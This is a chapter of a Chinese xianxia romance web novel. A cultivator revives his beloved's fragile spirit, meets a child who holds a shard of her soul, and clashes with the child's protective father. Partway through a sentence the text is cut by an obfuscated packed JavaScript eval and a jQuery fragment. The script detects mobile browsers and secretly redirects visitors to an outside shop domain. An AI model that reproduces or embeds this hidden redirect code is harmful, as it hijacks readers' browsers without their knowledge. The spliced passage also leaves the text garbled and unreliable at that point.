源源不断的灵力和生气被催动涌向桌上毫无动静的木头。
阮清许已经沉眠三天了。
这是从来没有过的事情,哪怕是从秘境出来,当时如此虚弱状态下也只是沉眠了一天。
这三天里,卫源将自己调息好后灵力就跟不要命似的,输送到木头里,同时夹带着伞里的生气。
木头也犹如漩涡般,一刻不停歇疯狂把四周的灵力往自己小小的木头身体里塞。
若不是卫源提前在客房里布下阵法,这三日弄出的动静怕是要招来不少窥伺了。
整整三天的不间断,哪怕是洞虚境的卫源脸色也开始发白。
“阿源……”
恍惚中,卫源忽然听见了好像许久没听见的声音。
“可以了,收手吧。”
不是错觉。
卫源眨了眨三天没合上,已经变得有些干涩的眼,哑声道:“你醒了吗?”
声音有些轻飘,不敢相信。
“醒了醒了,我这不是好好的吗?”
知道卫源放心不下,阮清许克制着灵魂里的疲倦,飘了出来。
卫源见到阮清许的那一瞬间,瞳孔猛缩。
他的清清更虚弱了。
如果以在秘境的状态为最低标准来判断阮清许神魂健康状态,那么此时几乎透明的将要看不见的阮清许无疑是危险的。
养魂伞被卫源打开悬浮在阮清许头上。
多日来像无头苍蝇般乱撞,又被养魂伞吸收的生气此时好像找到了栖息地,争先恐后的涌入那透明的魂魄里。
在此之前,卫源从未见过阮清许被生气滋养的模样。
磅礴的生气汇集成一天天锁链,滋养阮清许的同时,也想条条枷锁,将本该自由的魂魄锁在了伞下。
看不到自己此时状态的阮清许飘到卫源身前,软软哄着眼里布满血丝的人:“好了,我醒来了,你要不要也休息一下?嗯?”
卫源深深地望着,形成锁链后将生气源源不断送入阮清许身体的养魂伞,又低头对上担忧望着自己的阮清许,浮现了这么多天第一个笑容:“好,清清陪我。”
耗尽所有灵力的丹田,在卫源坐下调息时,久旱逢甘霖般尽全力滋养干渴的经脉。
阮清许飘在伞下,没再回到木头里。
虽然平康镇里大多都是凡人,难保没有修士在此落脚,阮清许不放心卫源独自打坐。
听说北桑秘境要开,路过平康镇,听说此地有家药店,对创伤有神奇疗效的大胡子甩掉跟自己一起行动的人,打算趁夜色取取些来自用。
谁想路过一家凡人客栈,立即察觉此地灵气充裕,心中立即大喜。
本想直接闯入,杀人夺宝,却被外头的阵法挡住。
逐渐没了灵力支撑的阵法运转艰涩,大胡子没费多少力气便破阵而入。
随着越靠越近,一呼一吸间满是灵气。
大胡子手中蓄起灵力,接着窗棂的遮掩,准备将里头的人一击毙命。
但比大胡子袭击更快的是一道冷灰色的灵力突然射出。
根本没能抬手抵挡的大胡子睁大双眼,不可置信从半空跌落。
“呼!”
火苗无风而起,将不该出现在这里的东西烧得一干二净。
跟随线索追了过来的人,躲在客栈远处的转角里,目睹了这场大火。
等卫源调息好后,又过去了一天。
而经过吸收伞和木头双倍的滋养,阮清许的神魂状态看起来也好了不少。
本想寻到最好的傀儡师,能给阮清许做一副最好的身体,但看着此时不健康的魂魄,卫源后悔了。
卫源现在只想把人带回卫家,在卫家让阮清许附身苍木,再去寻天材地宝来样,就算没有那位顶好的傀儡师,也不会差到哪里。
毕竟没有什么地方比卫家更安全更合适的了。
“我们回家。”
这是卫源醒来对阮清许说的第一句话。
阮清许没有异议,顺从地想飘回木头待着却被卫源阻止了。
卫源将伞撑开在头顶,对有些不解的阮清许解释:“回木头里带着,吸收的生气还要分一半给它,不如就在外头直接吸收,我总不会晒着你。”
听起来很有道理,阮清许无不有地欣然接受。
正好她也不愿意待在黑漆漆的木头里里,外头热闹的人间烟火才是她更为向往的。
既然决定回卫家,卫源也不再耽搁,退了房便带着阮清许直奔小镇出口。
而已经和娘亲解释了好多次,变戏法的是姐姐不是叔叔的林之之此时正赌气地在一家铺子外头数蚂蚁。
除了那天见过那位变戏法的姐姐外,这两天林之之找遍了大街小巷,都没在看见那位姐姐。
娘亲根本不信他的话。
看蚂蚁看累了的林之之双手捧着自己脸上的软肉,小大人似的叹了口气。
真的是六月飞雪也不能洗刷她的冤屈。
正愁着自己身上多了条胡说的标签的林之之,双目忧愁的盯着来来往往的人群。
突然,一把青黑的大伞在来来往往的人群中闯入他的视线。
林之之眼眸一亮,她记得那个姐姐就是撑着这把伞的。
以为再也找不到人的林之之像个小炮弹一样冲出去,边跑边喊:“姐姐!变戏法的姐姐!”
熙来攘往?的路人有些躲闪不及,被这莽撞的小孩撞了一撞,歪了身子。
骂人的话还在嘴里没说出来,空气中便传来小孩欢快又嫩生生声音:“对不起,撞到你了!”
再不岔的话也只好憋在心里,跟一个小孩子计较什么呢?
卫源正往小镇出口走去,后头便传来了纷杂与一个孩子的声音,但他并没兴趣去知晓发生了什么。
“啪!”
察觉到有不明物体冲撞过来的卫源还未张开灵力,一个软乎乎的身体就贴在了他的小腿上。
明明是去抱戏法姐姐的大腿,不知为何却抱到了他身边那位冷脸叔叔的林之之茫然抬头,和冷着脸垂眸的卫源对上了眼。
飘在卫源身边的阮清许认出来这是那个能看见她的小孩儿,看了一眼身边身体略微有些僵硬的卫源,轻笑弯腰:“你找我呀?”
已经知道抱错的林之之尴尬的松开手站了起来,胖手扣着手指,有些害羞道:“姐姐可以再给我变一次戏法吗?”
此时本该即刻回去的阮清许看着小孩怯生生的表情,眸光一闪,心头一软,便答应了。
但此刻两人一魂正在大街上,这不是一个合适变戏法的地方。
林之之双眼亮晶晶地带着两人来了一个比较僻静的地方。
被抱错的卫源跟在一旁,锐利的双眼打量着阮清许说能看见她的小孩。
上回林之之看见的变戏法是阮清许用生气随手捏的,此时阮清许手中没有团成团的生气,只好现团。
阮清许揪着丝丝缕缕的生气跟团毛线似的慢慢团成一团,轻声道:“我只能陪你玩一会,我要回家啦!”
听见阮清许说要回家,林之之有些不舍,所以一双眼睛更加专注的看着阮清许手中的动作。
丝丝缕缕的生气在阮清许手中乖的不像样子,任由她搓圆捏扁,想变成什么就变成什么。
林之之又看见了那天像他蹦跳而来的兔子,下意识伸手。
那天隔了一条街,隔了无数人肩膀的兔子,林之之没能接住的兔子,此刻轻轻跳到了他手中。
林之之欢喜极了,捧着兔子,却不知为何眼皮重极了,强称着同阮清许道谢:“谢谢…姐姐……”
尾音轻得不可思议。
小孩说完便整个人倒了下来。
猝不及防的这一幕让阮清许措手不及,连忙抬手去接。
沉沉的重量落在手中,阮清许茫然了,她是有点事情要确认来着,但不是迷倒人小孩这种事啊!
在一旁的卫源也看见了这一幕,他触碰了无数次依旧没有握上的手此刻接住了一个小孩。
既然小孩可以被接住,那么自己……
生着剑茧的手再次穿过爱人的神魂。
阮清许沉默地抱着已经沉睡过去的小孩,终于确认般,回头看向卫源,轻声道:“她身上有我的神魂碎片。”
本来因为自己无法触碰阮清许而陷入自身怀疑的卫源眼神一利,大步上前从阮清许手里拎起小孩。
“能看出在哪里吗?”
卫源将小孩举到自己眼前,皱眉打量睡得软乎乎的,毫无防备的孩童。
阮清许拢起手,摇了摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750959|209422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头:“看不出,只是在她身上感应到了碎片的魂力。”
卫源眉头紧锁,思索的如何在不伤害这个小孩的前提下,找到阮清许的碎片并取出来。
“轰隆!”
一人一魂还没想出办法,一道锐利的灵力便侵袭了过来。
久灵本今日本该在铺子里看诊,忽然间接到他娘子消息,说他家小兔崽子出去许久了,未回家,让他出来找找。
这一找便让他见到了目眦欲裂的一幕。
他家平日里乖乖巧巧的小孩此刻犹如软泥一般,被人提在手里,不知生死。
卫源回头,便见到了眼冒怒火的久灵。
“将孩子放下!”
久灵手里的灵力蓄势待发。
卫源挑眉,把手中提着的孩子夹在腋下,一手掠影剑出鞘:“你哪位?”
久灵见自己的儿子被人如此随意对待,心中怒火更盛:“你又是哪位?祸不及稚子,阁下还是不要给自己添太多业障为好!”
见鬼的业障。
卫源并不想在此多做拖延,他还要去找这小孩的父母,让他们同意她把小孩带回卫家。
眼见那祸人要将自己儿子带走,久灵连忙将手中蓄能完成的灵力炮丢出去。
卫源抬手就挡了下来。
但他不知道的是,这一灵力炮只是诱饵,真正杀伤力大的还在后头。
混合着粉末的灵力炮被卫源一剑斩开,顿时将着一小块地方遮掩起来。
只来得及张开灵力罩的卫源站在粉尘中间,看不清四周。
阮清许轻笑,没有对卫源死活的关心,全是对这招数的赞赏:“脑子挺好用。”
卫源无奈,一手带小孩一手执剑,实在有些不方便,也怕一会打到过程中,万一伤到小孩,于是将小孩放到了地上。
没等卫源的灵力罩盖上去,刚碰到地的小孩便咻的一声消失了。
卫源笑了,长这么大他也不是没被抢过东西,境界还低时,他同阮清许出去历练,被看轻和捉弄的次数也不少。
但第一次这么迫不及待的也是少见。
同样没见过如此迫不及待的小偷,偷的还是一个小孩的阮清许有些目瞪口呆。
“刚才那人,怕不是这小孩的父亲吧?”
感觉好像闹了一个乌龙的阮清许无语。
卫源收了剑,又打起了伞:“那正好,不用我费力气去寻他。”
从卫源挥出那一剑时,久灵就知道自己不是卫源的对手。
于是借着粉末的掩护化作了本体,和土地的气息相融合,在卫源将林之之放到地上了,出手迅速的把他儿子带走。
久灵去找玩得不知道回家臭小子,林晓便在家为父子俩准备晚饭。
天光渐暗,行人归家。
林晓抬头看了看天边最后一抹夕阳落下,却还不见久灵和林之之回来,心下一紧,立即解了围裙进屋拿了挂在墙壁上的刀打算出门寻人。
“嘭!”
脆弱的木门被人从外头撞开。
林晓握紧手中的刀,紧盯着门外。
久灵抱着林之之从外面蹿了进来,看见林晓拿着刀现在院子里,先是一怔,然后抱着孩子冲到林晓面前,把还在昏迷中得了林之之塞入她怀中。
林晓被久灵凝重的神情吓了一跳,抱紧林之之跟着久灵进了屋:“怎么了?”
久灵手忙脚乱地收拾着包裹,抽空答道:“那些人追来了,你带着孩子去躲躲,我在这里拖住他们,到时候再去找你们汇合!”
装着衣物,药品和银钱的包裹被塞到了林晓怀里,连同抱着的林之之,都被久灵轻推出去。
听见久灵说来的人是谁时,林晓犹如被泼了冷水般,浑身冰冷。
“你一定要来找我们!”
林晓忍不住抓紧久灵的手,眼里满是哀伤。
久灵努力平复自己的喘息,有些发冷的嘴唇碰了碰林晓的额头,努力扬起笑容:“我什么时候骗过你?”
如果忽略肩头那双颤抖的手的话,林晓定会被久灵的话安慰到。
此时不是诉说衷肠的时候,林晓深深望着久灵,好似要把他分模样刻在心里,而后转身。
“咚咚咚!”
霎时,面前不堪一击的木门这时被敲响了。